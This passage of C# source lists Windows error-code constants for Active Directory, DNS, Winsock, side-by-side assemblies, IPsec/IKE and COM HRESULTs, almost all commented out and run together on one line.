ERROR_DS_NTDSCRIPT_SYNTAX_ERROR = 8591; //public const uint ERROR_DS_NTDSCRIPT_PROCESS_ERROR = 8592; //public const uint ERROR_DS_DIFFERENT_REPL_EPOCHS = 8593; //public const uint ERROR_DS_DRS_EXTENSIONS_CHANGED = 8594; //public const uint ERROR_DS_REPLICA_SET_CHANGE_NOT_ALLOWED_ON_DISABLED_CR = 8595; //public const uint ERROR_DS_NO_MSDS_INTID = 8596; //public const uint ERROR_DS_DUP_MSDS_INTID = 8597; //public const uint ERROR_DS_EXISTS_IN_RDNATTID = 8598; //public const uint ERROR_DS_AUTHORIZATION_FAILED = 8599; //public const uint ERROR_DS_INVALID_SCRIPT = 8600; //public const uint ERROR_DS_REMOTE_CROSSREF_OP_FAILED = 8601; //public const uint ERROR_DS_CROSS_REF_BUSY = 8602; //public const uint ERROR_DS_CANT_DERIVE_SPN_FOR_DELETED_DOMAIN = 8603; //public const uint ERROR_DS_CANT_DEMOTE_WITH_WRITEABLE_NC = 8604; //public const uint ERROR_DS_DUPLICATE_ID_FOUND = 8605; //public const uint ERROR_DS_INSUFFICIENT_ATTR_TO_CREATE_OBJECT = 8606; //public const uint ERROR_DS_GROUP_CONVERSION_ERROR = 8607; //public const uint ERROR_DS_CANT_MOVE_APP_BASIC_GROUP = 8608; //public const uint ERROR_DS_CANT_MOVE_APP_QUERY_GROUP = 8609; //public const uint ERROR_DS_ROLE_NOT_VERIFIED = 8610; //public const uint ERROR_DS_WKO_CONTAINER_CANNOT_BE_SPECIAL = 8611; //public const uint ERROR_DS_DOMAIN_RENAME_IN_PROGRESS = 8612; //public const uint ERROR_DS_EXISTING_AD_CHILD_NC = 8613; //public const uint ERROR_DS_REPL_LIFETIME_EXCEEDED = 8614; //public const uint ERROR_DS_DISALLOWED_IN_SYSTEM_CONTAINER = 8615; //public const uint ERROR_DS_LDAP_SEND_QUEUE_FULL = 8616; //public const uint ERROR_DS_DRA_OUT_SCHEDULE_WINDOW = 8617; //public const uint DNS_ERROR_RESPONSE_CODES_BASE = 9000; //public const uint DNS_ERROR_RCODE_NO_ERROR = NO_ERROR; //public const uint DNS_ERROR_MASK = 0x00002328; //public const uint DNS_ERROR_RCODE_FORMAT_ERROR = 9001; //public const uint DNS_ERROR_RCODE_SERVER_FAILURE = 9002; //public const uint DNS_ERROR_RCODE_NAME_ERROR = 9003; //public const uint DNS_ERROR_RCODE_NOT_IMPLEMENTED = 9004; //public const uint DNS_ERROR_RCODE_REFUSED = 9005; //public const uint DNS_ERROR_RCODE_YXDOMAIN = 9006; //public const uint DNS_ERROR_RCODE_YXRRSET = 9007; //public const uint DNS_ERROR_RCODE_NXRRSET = 9008; //public const uint DNS_ERROR_RCODE_NOTAUTH = 9009; //public const uint DNS_ERROR_RCODE_NOTZONE = 9010; //public const uint DNS_ERROR_RCODE_BADSIG = 9016; //public const uint DNS_ERROR_RCODE_BADKEY = 9017; //public const uint DNS_ERROR_RCODE_BADTIME = 9018; //public const uint DNS_ERROR_RCODE_LAST = DNS_ERROR_RCODE_BADTIME; //public const uint DNS_ERROR_PACKET_FMT_BASE = 9500; //public const uint DNS_INFO_NO_RECORDS = 9501; //public const uint DNS_ERROR_BAD_PACKET = 9502; //public const uint DNS_ERROR_NO_PACKET = 9503; //public const uint DNS_ERROR_RCODE = 9504; //public const uint DNS_ERROR_UNSECURE_PACKET = 9505; //public const uint DNS_STATUS_PACKET_UNSECURE = DNS_ERROR_UNSECURE_PACKET; //public const uint DNS_ERROR_NO_MEMORY = ERROR_OUTOFMEMORY; //public const uint DNS_ERROR_INVALID_NAME = ERROR_INVALID_NAME; //public const uint DNS_ERROR_INVALID_DATA = ERROR_INVALID_DATA; //public const uint DNS_ERROR_GENERAL_API_BASE = 9550; //public const uint DNS_ERROR_INVALID_TYPE = 9551; //public const uint DNS_ERROR_INVALID_IP_ADDRESS = 9552; //public const uint DNS_ERROR_INVALID_PROPERTY = 9553; //public const uint DNS_ERROR_TRY_AGAIN_LATER = 9554; //public const uint DNS_ERROR_NOT_UNIQUE = 9555; //public const uint DNS_ERROR_NON_RFC_NAME = 9556; //public const uint DNS_STATUS_FQDN = 9557; //public const uint DNS_STATUS_DOTTED_NAME = 9558; //public const uint DNS_STATUS_SINGLE_PART_NAME = 9559; //public const uint DNS_ERROR_INVALID_NAME_CHAR = 9560; //public const uint DNS_ERROR_NUMERIC_NAME = 9561; //public const uint DNS_ERROR_NOT_ALLOWED_ON_ROOT_SERVER = 9562; //public const uint DNS_ERROR_NOT_ALLOWED_UNDER_DELEGATION = 9563; //public const uint DNS_ERROR_CANNOT_FIND_ROOT_HINTS = 9564; //public const uint DNS_ERROR_INCONSISTENT_ROOT_HINTS = 9565; //public const uint DNS_ERROR_ZONE_BASE = 9600; //public const uint DNS_ERROR_ZONE_DOES_NOT_EXIST = 9601; //public const uint DNS_ERROR_NO_ZONE_INFO = 9602; //public const uint DNS_ERROR_INVALID_ZONE_OPERATION = 9603; //public const uint DNS_ERROR_ZONE_CONFIGURATION_ERROR = 9604; //public const uint DNS_ERROR_ZONE_HAS_NO_SOA_RECORD = 9605; //public const uint DNS_ERROR_ZONE_HAS_NO_NS_RECORDS = 9606; //public const uint DNS_ERROR_ZONE_LOCKED = 9607; //public const uint DNS_ERROR_ZONE_CREATION_FAILED = 9608; //public const uint DNS_ERROR_ZONE_ALREADY_EXISTS = 9609; //public const uint DNS_ERROR_AUTOZONE_ALREADY_EXISTS = 9610; //public const uint DNS_ERROR_INVALID_ZONE_TYPE = 9611; //public const uint DNS_ERROR_SECONDARY_REQUIRES_MASTER_IP = 9612; //public const uint DNS_ERROR_ZONE_NOT_SECONDARY = 9613; //public const uint DNS_ERROR_NEED_SECONDARY_ADDRESSES = 9614; //public const uint DNS_ERROR_WINS_INIT_FAILED = 9615; //public const uint DNS_ERROR_NEED_WINS_SERVERS = 9616; //public const uint DNS_ERROR_NBSTAT_INIT_FAILED = 9617; //public const uint DNS_ERROR_SOA_DELETE_INVALID = 9618; //public const uint DNS_ERROR_FORWARDER_ALREADY_EXISTS = 9619; //public const uint DNS_ERROR_ZONE_REQUIRES_MASTER_IP = 9620; //public const uint DNS_ERROR_ZONE_IS_SHUTDOWN = 9621; //public const uint DNS_ERROR_DATAFILE_BASE = 9650; //public const uint DNS_ERROR_PRIMARY_REQUIRES_DATAFILE = 9651; //public const uint DNS_ERROR_INVALID_DATAFILE_NAME = 9652; //public const uint DNS_ERROR_DATAFILE_OPEN_FAILURE = 9653; //public const uint DNS_ERROR_FILE_WRITEBACK_FAILED = 9654; //public const uint DNS_ERROR_DATAFILE_PARSING = 9655; //public const uint DNS_ERROR_DATABASE_BASE = 9700; //public const uint DNS_ERROR_RECORD_DOES_NOT_EXIST = 9701; //public const uint DNS_ERROR_RECORD_FORMAT = 9702; //public const uint DNS_ERROR_NODE_CREATION_FAILED = 9703; //public const uint DNS_ERROR_UNKNOWN_RECORD_TYPE = 9704; //public const uint DNS_ERROR_RECORD_TIMED_OUT = 9705; //public const uint DNS_ERROR_NAME_NOT_IN_ZONE = 9706; //public const uint DNS_ERROR_CNAME_LOOP = 9707; //public const uint DNS_ERROR_NODE_IS_CNAME = 9708; //public const uint DNS_ERROR_CNAME_COLLISION = 9709; //public const uint DNS_ERROR_RECORD_ONLY_AT_ZONE_ROOT = 9710; //public const uint DNS_ERROR_RECORD_ALREADY_EXISTS = 9711; //public const uint DNS_ERROR_SECONDARY_DATA = 9712; //public const uint DNS_ERROR_NO_CREATE_CACHE_DATA = 9713; //public const uint DNS_ERROR_NAME_DOES_NOT_EXIST = 9714; //public const uint DNS_WARNING_PTR_CREATE_FAILED = 9715; //public const uint DNS_WARNING_DOMAIN_UNDELETED = 9716; //public const uint DNS_ERROR_DS_UNAVAILABLE = 9717; //public const uint DNS_ERROR_DS_ZONE_ALREADY_EXISTS = 9718; //public const uint DNS_ERROR_NO_BOOTFILE_IF_DS_ZONE = 9719; //public const uint DNS_ERROR_OPERATION_BASE = 9750; //public const uint DNS_INFO_AXFR_COMPLETE = 9751; //public const uint DNS_ERROR_AXFR = 9752; //public const uint DNS_INFO_ADDED_LOCAL_WINS = 9753; //public const uint DNS_ERROR_SECURE_BASE = 9800; //public const uint DNS_STATUS_CONTINUE_NEEDED = 9801; //public const uint DNS_ERROR_SETUP_BASE = 9850; //public const uint DNS_ERROR_NO_TCPIP = 9851; //public const uint DNS_ERROR_NO_DNS_SERVERS = 9852; //public const uint DNS_ERROR_DP_BASE = 9900; //public const uint DNS_ERROR_DP_DOES_NOT_EXIST = 9901; //public const uint DNS_ERROR_DP_ALREADY_EXISTS = 9902; //public const uint DNS_ERROR_DP_NOT_ENLISTED = 9903; //public const uint DNS_ERROR_DP_ALREADY_ENLISTED = 9904; //public const uint DNS_ERROR_DP_NOT_AVAILABLE = 9905; //public const uint DNS_ERROR_DP_FSMO_ERROR = 9906; //public const uint WSABASEERR = 10000; //public const uint WSAEINTR = 10004; //public const uint WSAEBADF = 10009; //public const uint WSAEACCES = 10013; //public const uint WSAEFAULT = 10014; //public const uint WSAEINVAL = 10022; //public const uint WSAEMFILE = 10024; //public const uint WSAEWOULDBLOCK = 10035; //public const uint WSAEINPROGRESS = 10036; //public const uint WSAEALREADY = 10037; //public const uint WSAENOTSOCK = 10038; //public const uint WSAEDESTADDRREQ = 10039; //public const uint WSAEMSGSIZE = 10040; //public const uint WSAEPROTOTYPE = 10041; //public const uint WSAENOPROTOOPT = 10042; //public const uint WSAEPROTONOSUPPORT = 10043; //public const uint WSAESOCKTNOSUPPORT = 10044; //public const uint WSAEOPNOTSUPP = 10045; //public const uint WSAEPFNOSUPPORT = 10046; //public const uint WSAEAFNOSUPPORT = 10047; //public const uint WSAEADDRINUSE = 10048; //public const uint WSAEADDRNOTAVAIL = 10049; //public const uint WSAENETDOWN = 10050; //public const uint WSAENETUNREACH = 10051; //public const uint WSAENETRESET = 10052; //public const uint WSAECONNABORTED = 10053; //public const uint WSAECONNRESET = 10054; //public const uint WSAENOBUFS = 10055; //public const uint WSAEISCONN = 10056; //public const uint WSAENOTCONN = 10057; //public const uint WSAESHUTDOWN = 10058; //public const uint WSAETOOMANYREFS = 10059; //public const uint WSAETIMEDOUT = 10060; //public const uint WSAECONNREFUSED = 10061; //public const uint WSAELOOP = 10062; //public const uint WSAENAMETOOLONG = 10063; //public const uint WSAEHOSTDOWN = 10064; //public const uint WSAEHOSTUNREACH = 10065; //public const uint WSAENOTEMPTY = 10066; //public const uint WSAEPROCLIM = 10067; //public const uint WSAEUSERS = 10068; //public const uint WSAEDQUOT = 10069; //public const uint WSAESTALE = 10070; //public const uint WSAEREMOTE = 10071; //public const uint WSASYSNOTREADY = 10091; //public const uint WSAVERNOTSUPPORTED = 10092; //public const uint WSANOTINITIALISED = 10093; //public const uint WSAEDISCON = 10101; //public const uint WSAENOMORE = 10102; //public const uint WSAECANCELLED = 10103; //public const uint WSAEINVALIDPROCTABLE = 10104; //public const uint WSAEINVALIDPROVIDER = 10105; //public const uint WSAEPROVIDERFAILEDINIT = 10106; //public const uint WSASYSCALLFAILURE = 10107; //public const uint WSASERVICE_NOT_FOUND = 10108; //public const uint WSATYPE_NOT_FOUND = 10109; //public const uint WSA_E_NO_MORE = 10110; //public const uint WSA_E_CANCELLED = 10111; //public const uint WSAEREFUSED = 10112; //public const uint WSAHOST_NOT_FOUND = 11001; //public const uint WSATRY_AGAIN = 11002; //public const uint WSANO_RECOVERY = 11003; //public const uint WSANO_DATA = 11004; //public const uint WSA_QOS_RECEIVERS = 11005; //public const uint WSA_QOS_SENDERS = 11006; //public const uint WSA_QOS_NO_SENDERS = 11007; //public const uint WSA_QOS_NO_RECEIVERS = 11008; //public const uint WSA_QOS_REQUEST_CONFIRMED = 11009; //public const uint WSA_QOS_ADMISSION_FAILURE = 11010; //public const uint WSA_QOS_POLICY_FAILURE = 11011; //public const uint WSA_QOS_BAD_STYLE = 11012; //public const uint WSA_QOS_BAD_OBJECT = 11013; //public const uint WSA_QOS_TRAFFIC_CTRL_ERROR = 11014; //public const uint WSA_QOS_GENERIC_ERROR = 11015; //public const uint WSA_QOS_ESERVICETYPE = 11016; //public const uint WSA_QOS_EFLOWSPEC = 11017; //public const uint WSA_QOS_EPROVSPECBUF = 11018; //public const uint WSA_QOS_EFILTERSTYLE = 11019; //public const uint WSA_QOS_EFILTERTYPE = 11020; //public const uint WSA_QOS_EFILTERCOUNT = 11021; //public const uint WSA_QOS_EOBJLENGTH = 11022; //public const uint WSA_QOS_EFLOWCOUNT = 11023; //public const uint WSA_QOS_EUNKOWNPSOBJ = 11024; //public const uint WSA_QOS_EPOLICYOBJ = 11025; //public const uint WSA_QOS_EFLOWDESC = 11026; //public const uint WSA_QOS_EPSFLOWSPEC = 11027; //public const uint WSA_QOS_EPSFILTERSPEC = 11028; //public const uint WSA_QOS_ESDMODEOBJ = 11029; //public const uint WSA_QOS_ESHAPERATEOBJ = 11030; //public const uint WSA_QOS_RESERVED_PETYPE = 11031; //public const uint ERROR_SXS_SECTION_NOT_FOUND = 14000; //public const uint ERROR_SXS_CANT_GEN_ACTCTX = 14001; //public const uint ERROR_SXS_INVALID_ACTCTXDATA_FORMAT = 14002; //public const uint ERROR_SXS_ASSEMBLY_NOT_FOUND = 14003; //public const uint ERROR_SXS_MANIFEST_FORMAT_ERROR = 14004; //public const uint ERROR_SXS_MANIFEST_PARSE_ERROR = 14005; //public const uint ERROR_SXS_ACTIVATION_CONTEXT_DISABLED = 14006; //public const uint ERROR_SXS_KEY_NOT_FOUND = 14007; //public const uint ERROR_SXS_VERSION_CONFLICT = 14008; //public const uint ERROR_SXS_WRONG_SECTION_TYPE = 14009; //public const uint ERROR_SXS_THREAD_QUERIES_DISABLED = 14010; //public const uint ERROR_SXS_PROCESS_DEFAULT_ALREADY_SET = 14011; //public const uint ERROR_SXS_UNKNOWN_ENCODING_GROUP = 14012; //public const uint ERROR_SXS_UNKNOWN_ENCODING = 14013; //public const uint ERROR_SXS_INVALID_XML_NAMESPACE_URI = 14014; //public const uint ERROR_SXS_ROOT_MANIFEST_DEPENDENCY_NOT_INSTALLED = 14015; //public const uint ERROR_SXS_LEAF_MANIFEST_DEPENDENCY_NOT_INSTALLED = 14016; //public const uint ERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE = 14017; //public const uint ERROR_SXS_MANIFEST_MISSING_REQUIRED_DEFAULT_NAMESPACE = 14018; //public const uint ERROR_SXS_MANIFEST_INVALID_REQUIRED_DEFAULT_NAMESPACE = 14019; //public const uint ERROR_SXS_PRIVATE_MANIFEST_CROSS_PATH_WITH_REPARSE_POINT = 14020; //public const uint ERROR_SXS_DUPLICATE_DLL_NAME = 14021; //public const uint ERROR_SXS_DUPLICATE_WINDOWCLASS_NAME = 14022; //public const uint ERROR_SXS_DUPLICATE_CLSID = 14023; //public const uint ERROR_SXS_DUPLICATE_IID = 14024; //public const uint ERROR_SXS_DUPLICATE_TLBID = 14025; //public const uint ERROR_SXS_DUPLICATE_PROGID = 14026; //public const uint ERROR_SXS_DUPLICATE_ASSEMBLY_NAME = 14027; //public const uint ERROR_SXS_FILE_HASH_MISMATCH = 14028; //public const uint ERROR_SXS_POLICY_PARSE_ERROR = 14029; //public const uint ERROR_SXS_XML_E_MISSINGQUOTE = 14030; //public const uint ERROR_SXS_XML_E_COMMENTSYNTAX = 14031; //public const uint ERROR_SXS_XML_E_BADSTARTNAMECHAR = 14032; //public const uint ERROR_SXS_XML_E_BADNAMECHAR = 14033; //public const uint ERROR_SXS_XML_E_BADCHARINSTRING = 14034; //public const uint ERROR_SXS_XML_E_XMLDECLSYNTAX = 14035; //public const uint ERROR_SXS_XML_E_BADCHARDATA = 14036; //public const uint ERROR_SXS_XML_E_MISSINGWHITESPACE = 14037; //public const uint ERROR_SXS_XML_E_EXPECTINGTAGEND = 14038; //public const uint ERROR_SXS_XML_E_MISSINGSEMICOLON = 14039; //public const uint ERROR_SXS_XML_E_UNBALANCEDPAREN = 14040; //public const uint ERROR_SXS_XML_E_INTERNALERROR = 14041; //public const uint ERROR_SXS_XML_E_UNEXPECTED_WHITESPACE = 14042; //public const uint ERROR_SXS_XML_E_INCOMPLETE_ENCODING = 14043; //public const uint ERROR_SXS_XML_E_MISSING_PAREN = 14044; //public const uint ERROR_SXS_XML_E_EXPECTINGCLOSEQUOTE = 14045; //public const uint ERROR_SXS_XML_E_MULTIPLE_COLONS = 14046; //public const uint ERROR_SXS_XML_E_INVALID_DECIMAL = 14047; //public const uint ERROR_SXS_XML_E_INVALID_HEXIDECIMAL = 14048; //public const uint ERROR_SXS_XML_E_INVALID_UNICODE = 14049; //public const uint ERROR_SXS_XML_E_WHITESPACEORQUESTIONMARK = 14050; //public const uint ERROR_SXS_XML_E_UNEXPECTEDENDTAG = 14051; //public const uint ERROR_SXS_XML_E_UNCLOSEDTAG = 14052; //public const uint ERROR_SXS_XML_E_DUPLICATEATTRIBUTE = 14053; //public const uint ERROR_SXS_XML_E_MULTIPLEROOTS = 14054; //public const uint ERROR_SXS_XML_E_INVALIDATROOTLEVEL = 14055; //public const uint ERROR_SXS_XML_E_BADXMLDECL = 14056; //public const uint ERROR_SXS_XML_E_MISSINGROOT = 14057; //public const uint ERROR_SXS_XML_E_UNEXPECTEDEOF = 14058; //public const uint ERROR_SXS_XML_E_BADPEREFINSUBSET = 14059; //public const uint ERROR_SXS_XML_E_UNCLOSEDSTARTTAG = 14060; //public const uint ERROR_SXS_XML_E_UNCLOSEDENDTAG = 14061; //public const uint ERROR_SXS_XML_E_UNCLOSEDSTRING = 14062; //public const uint ERROR_SXS_XML_E_UNCLOSEDCOMMENT = 14063; //public const uint ERROR_SXS_XML_E_UNCLOSEDDECL = 14064; //public const uint ERROR_SXS_XML_E_UNCLOSEDCDATA = 14065; //public const uint ERROR_SXS_XML_E_RESERVEDNAMESPACE = 14066; //public const uint ERROR_SXS_XML_E_INVALIDENCODING = 14067; //public const uint ERROR_SXS_XML_E_INVALIDSWITCH = 14068; //public const uint ERROR_SXS_XML_E_BADXMLCASE = 14069; //public const uint ERROR_SXS_XML_E_INVALID_STANDALONE = 14070; //public const uint ERROR_SXS_XML_E_UNEXPECTED_STANDALONE = 14071; //public const uint ERROR_SXS_XML_E_INVALID_VERSION = 14072; //public const uint ERROR_SXS_XML_E_MISSINGEQUALS = 14073; //public const uint ERROR_SXS_PROTECTION_RECOVERY_FAILED = 14074; //public const uint ERROR_SXS_PROTECTION_PUBLIC_KEY_TOO_SHORT = 14075; //public const uint ERROR_SXS_PROTECTION_CATALOG_NOT_VALID = 14076; //public const uint ERROR_SXS_UNTRANSLATABLE_HRESULT = 14077; //public const uint ERROR_SXS_PROTECTION_CATALOG_FILE_MISSING = 14078; //public const uint ERROR_SXS_MISSING_ASSEMBLY_IDENTITY_ATTRIBUTE = 14079; //public const uint ERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE_NAME = 14080; //public const uint ERROR_IPSEC_QM_POLICY_EXISTS = 13000; //public const uint ERROR_IPSEC_QM_POLICY_NOT_FOUND = 13001; //public const uint ERROR_IPSEC_QM_POLICY_IN_USE = 13002; //public const uint ERROR_IPSEC_MM_POLICY_EXISTS = 13003; //public const uint ERROR_IPSEC_MM_POLICY_NOT_FOUND = 13004; //public const uint ERROR_IPSEC_MM_POLICY_IN_USE = 13005; //public const uint ERROR_IPSEC_MM_FILTER_EXISTS = 13006; //public const uint ERROR_IPSEC_MM_FILTER_NOT_FOUND = 13007; //public const uint ERROR_IPSEC_TRANSPORT_FILTER_EXISTS = 13008; //public const uint ERROR_IPSEC_TRANSPORT_FILTER_NOT_FOUND = 13009; //public const uint ERROR_IPSEC_MM_AUTH_EXISTS = 13010; //public const uint ERROR_IPSEC_MM_AUTH_NOT_FOUND = 13011; //public const uint ERROR_IPSEC_MM_AUTH_IN_USE = 13012; //public const uint ERROR_IPSEC_DEFAULT_MM_POLICY_NOT_FOUND = 13013; //public const uint ERROR_IPSEC_DEFAULT_MM_AUTH_NOT_FOUND = 13014; //public const uint ERROR_IPSEC_DEFAULT_QM_POLICY_NOT_FOUND = 13015; //public const uint ERROR_IPSEC_TUNNEL_FILTER_EXISTS = 13016; //public const uint ERROR_IPSEC_TUNNEL_FILTER_NOT_FOUND = 13017; //public const uint ERROR_IPSEC_MM_FILTER_PENDING_DELETION = 13018; //public const uint ERROR_IPSEC_TRANSPORT_FILTER_PENDING_DELETION = 13019; //public const uint ERROR_IPSEC_TUNNEL_FILTER_PENDING_DELETION = 13020; //public const uint ERROR_IPSEC_MM_POLICY_PENDING_DELETION = 13021; //public const uint ERROR_IPSEC_MM_AUTH_PENDING_DELETION = 13022; //public const uint ERROR_IPSEC_QM_POLICY_PENDING_DELETION = 13023; //public const uint WARNING_IPSEC_MM_POLICY_PRUNED = 13024; //public const uint WARNING_IPSEC_QM_POLICY_PRUNED = 13025; //public const uint ERROR_IPSEC_IKE_NEG_STATUS_BEGIN = 13800; //public const uint ERROR_IPSEC_IKE_AUTH_FAIL = 13801; //public const uint ERROR_IPSEC_IKE_ATTRIB_FAIL = 13802; //public const uint ERROR_IPSEC_IKE_NEGOTIATION_PENDING = 13803; //public const uint ERROR_IPSEC_IKE_GENERAL_PROCESSING_ERROR = 13804; //public const uint ERROR_IPSEC_IKE_TIMED_OUT = 13805; //public const uint ERROR_IPSEC_IKE_NO_CERT = 13806; //public const uint ERROR_IPSEC_IKE_SA_DELETED = 13807; //public const uint ERROR_IPSEC_IKE_SA_REAPED = 13808; //public const uint ERROR_IPSEC_IKE_MM_ACQUIRE_DROP = 13809; //public const uint ERROR_IPSEC_IKE_QM_ACQUIRE_DROP = 13810; //public const uint ERROR_IPSEC_IKE_QUEUE_DROP_MM = 13811; //public const uint ERROR_IPSEC_IKE_QUEUE_DROP_NO_MM = 13812; //public const uint ERROR_IPSEC_IKE_DROP_NO_RESPONSE = 13813; //public const uint ERROR_IPSEC_IKE_MM_DELAY_DROP = 13814; //public const uint ERROR_IPSEC_IKE_QM_DELAY_DROP = 13815; //public const uint ERROR_IPSEC_IKE_ERROR = 13816; //public const uint ERROR_IPSEC_IKE_CRL_FAILED = 13817; //public const uint ERROR_IPSEC_IKE_INVALID_KEY_USAGE = 13818; //public const uint ERROR_IPSEC_IKE_INVALID_CERT_TYPE = 13819; //public const uint ERROR_IPSEC_IKE_NO_PRIVATE_KEY = 13820; //public const uint ERROR_IPSEC_IKE_DH_FAIL = 13822; //public const uint ERROR_IPSEC_IKE_INVALID_HEADER = 13824; //public const uint ERROR_IPSEC_IKE_NO_POLICY = 13825; //public const uint ERROR_IPSEC_IKE_INVALID_SIGNATURE = 13826; //public const uint ERROR_IPSEC_IKE_KERBEROS_ERROR = 13827; //public const uint ERROR_IPSEC_IKE_NO_PUBLIC_KEY = 13828; //public const uint ERROR_IPSEC_IKE_PROCESS_ERR = 13829; //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_SA = 13830; //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_PROP = 13831; //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_TRANS = 13832; //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_KE = 13833; //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_ID = 13834; //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_CERT = 13835; //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_CERT_REQ = 13836; //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_HASH = 13837; //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_SIG = 13838; //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_NONCE = 13839; //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_NOTIFY = 13840; //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_DELETE = 13841; //public const uint ERROR_IPSEC_IKE_PROCESS_ERR_VENDOR = 13842; //public const uint ERROR_IPSEC_IKE_INVALID_PAYLOAD = 13843; //public const uint ERROR_IPSEC_IKE_LOAD_SOFT_SA = 13844; //public const uint ERROR_IPSEC_IKE_SOFT_SA_TORN_DOWN = 13845; //public const uint ERROR_IPSEC_IKE_INVALID_COOKIE = 13846; //public const uint ERROR_IPSEC_IKE_NO_PEER_CERT = 13847; //public const uint ERROR_IPSEC_IKE_PEER_CRL_FAILED = 13848; //public const uint ERROR_IPSEC_IKE_POLICY_CHANGE = 13849; //public const uint ERROR_IPSEC_IKE_NO_MM_POLICY = 13850; //public const uint ERROR_IPSEC_IKE_NOTCBPRIV = 13851; //public const uint ERROR_IPSEC_IKE_SECLOADFAIL = 13852; //public const uint ERROR_IPSEC_IKE_FAILSSPINIT = 13853; //public const uint ERROR_IPSEC_IKE_FAILQUERYSSP = 13854; //public const uint ERROR_IPSEC_IKE_SRVACQFAIL = 13855; //public const uint ERROR_IPSEC_IKE_SRVQUERYCRED = 13856; //public const uint ERROR_IPSEC_IKE_GETSPIFAIL = 13857; //public const uint ERROR_IPSEC_IKE_INVALID_FILTER = 13858; //public const uint ERROR_IPSEC_IKE_OUT_OF_MEMORY = 13859; //public const uint ERROR_IPSEC_IKE_ADD_UPDATE_KEY_FAILED = 13860; //public const uint ERROR_IPSEC_IKE_INVALID_POLICY = 13861; //public const uint ERROR_IPSEC_IKE_UNKNOWN_DOI = 13862; //public const uint ERROR_IPSEC_IKE_INVALID_SITUATION = 13863; //public const uint ERROR_IPSEC_IKE_DH_FAILURE = 13864; //public const uint ERROR_IPSEC_IKE_INVALID_GROUP = 13865; //public const uint ERROR_IPSEC_IKE_ENCRYPT = 13866; //public const uint ERROR_IPSEC_IKE_DECRYPT = 13867; //public const uint ERROR_IPSEC_IKE_POLICY_MATCH = 13868; //public const uint ERROR_IPSEC_IKE_UNSUPPORTED_ID = 13869; //public const uint ERROR_IPSEC_IKE_INVALID_HASH = 13870; //public const uint ERROR_IPSEC_IKE_INVALID_HASH_ALG = 13871; //public const uint ERROR_IPSEC_IKE_INVALID_HASH_SIZE = 13872; //public const uint ERROR_IPSEC_IKE_INVALID_ENCRYPT_ALG = 13873; //public const uint ERROR_IPSEC_IKE_INVALID_AUTH_ALG = 13874; //public const uint ERROR_IPSEC_IKE_INVALID_SIG = 13875; //public const uint ERROR_IPSEC_IKE_LOAD_FAILED = 13876; //public const uint ERROR_IPSEC_IKE_RPC_DELETE = 13877; //public const uint ERROR_IPSEC_IKE_BENIGN_REINIT = 13878; //public const uint ERROR_IPSEC_IKE_INVALID_RESPONDER_LIFETIME_NOTIFY = 13879; //public const uint ERROR_IPSEC_IKE_INVALID_CERT_KEYLEN = 13881; //public const uint ERROR_IPSEC_IKE_MM_LIMIT = 13882; //public const uint ERROR_IPSEC_IKE_NEGOTIATION_DISABLED = 13883; //public const uint ERROR_IPSEC_IKE_NEG_STATUS_END = 13884; //public const uint SEVERITY_SUCCESS = 0; //public const uint SEVERITY_ERROR = 1; //public const uint NOERROR = 0; //public const uint E_UNEXPECTED = 0x8000FFFF; //public const uint E_NOTIMPL = 0x80004001; //public const uint E_OUTOFMEMORY = 0x8007000E; //public const uint E_INVALIDARG = 0x80070057; //public const uint E_NOINTERFACE = 0x80004002; public const uint E_POINTER = 0x80004003; //public const uint E_HANDLE = 0x80070006; //public const uint E_ABORT = 0x80004004; //public const uint E_FAIL = 0x80004005; //public const uint E_ACCESSDENIED = 0x80070005; //public const uint E_PENDING = 0x8000000A; //public const uint CO_E_INIT_TLS = 0x80004006; //public const uint CO_E_INIT_SHARED_ALLOCATOR = 0x80004007; //public const uint CO_E_INIT_MEMORY_ALLOCATOR = 0x80004008; //public const uint CO_E_INIT_CLASS_CACHE = 0x80004009; //public const uint CO_E_INIT_RPC_CHANNEL = 0x8000400A; //public const uint CO_E_INIT_TLS_SET_CHANNEL_CONTROL = 0x8000400B; //public const uint CO_E_INIT_TLS_CHANNEL_CONTROL = 0x8000400C; //public const uint CO_E_INIT_UNACCEPTED_USER_ALLOCATOR = 0x8000400D; //public const uint CO_E_INIT_SCM_MUTEX_EXISTS = 0x8000400E; //public const uint CO_E_INIT_SCM_FILE_MAPPING_EXISTS = 0x8000400F; //public const uint CO_E_INIT_SCM_MAP_VIEW_OF_FILE = 0x80004010; //public const uint CO_E_INIT_SCM_EXEC_FAILURE = 0x80004011; //public const uint CO_E_INIT_ONLY_SINGLE_THREADED = 0x80004012; //public const uint CO_E_CANT_REMOTE = 0x80004013; //public const uint CO_E_BAD_SERVER_NAME = 0x80004014; //public const uint CO_E_WRONG_SERVER_IDENTITY = 0x80004015; //public const uint CO_E_OLE1DDE_DISABLED = 0x80004016; //public const uint CO_E_RUNAS_SYNTAX = 0x80004017; //public const uint CO_E_CREATEPROCESS_FAILURE = 0x80004018; //public const uint CO_E_RUNAS_CREATEPROCESS_FAILURE = 0x80004019; //public const uint CO_E_RUNAS_LOGON_FAILURE = 0x8000401A; //public const uint CO_E_LAUNCH_PERMSSION_DENIED = 0x8000401B; //public const uint CO_E_START_SERVICE_FAILURE = 0x8000401C; //public const uint CO_E_REMOTE_COMMUNICATION_FAILURE = 0x8000401D; //public const uint CO_E_SERVER_START_TIMEOUT = 0x8000401E; //public const uint CO_E_CLSREG_INCONSISTENT = 0x8000401F; //public const uint CO_E_IIDREG_INCONSISTENT = 0x80004020; //public const uint CO_E_NOT_SUPPORTED = 0x80004021; //public const uint CO_E_RELOAD_DLL = 0x80004022; //public const uint CO_E_MSI_ERROR = 0x80004023; //public const uint CO_E_ATTEMPT_TO_CREATE_OUTSIDE_CLIENT_CONTEXT = 0x80004024; //public const uint CO_E_SERVER_PAUSED = 0x80004025; //public const uint CO_E_SERVER_NOT_PAUSED = 0x80004026; //public const uint CO_E_CLASS_DISABLED = 0x80004027; //public const uint 